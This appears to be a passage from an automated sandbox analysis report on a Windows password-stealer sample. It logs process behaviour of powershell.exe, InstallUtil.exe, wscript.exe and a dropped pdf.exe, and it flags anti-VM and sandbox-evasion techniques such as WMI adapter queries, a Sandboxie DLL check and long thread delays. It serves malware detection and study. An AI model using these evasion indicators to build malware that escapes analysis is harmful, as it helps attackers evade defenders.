Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe PID: 7460, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: pdf.exe PID: 7948, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe, 00000000.00000002.1439970694.0000000002FA6000.00000004.00000800.00020000.00000000.sdmp, pdf.exe, 00000013.00000002.1724440064.0000000002A4E000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: SBIEDLL.DLL

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Memory allocated: 1270000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Memory allocated: 2F70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Memory allocated: 4F70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 1420000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2DB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 4DB0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Memory allocated: E70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Memory allocated: 2A20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Memory allocated: 2760000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 16C0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 31B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Memory allocated: 2FD0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\pdf.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 6914	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2782	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2599	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 7226	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 2852
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Window / User API: threadDelayed 6998

Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.PWSX-gen.22728.13847.exe TID: 7536	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
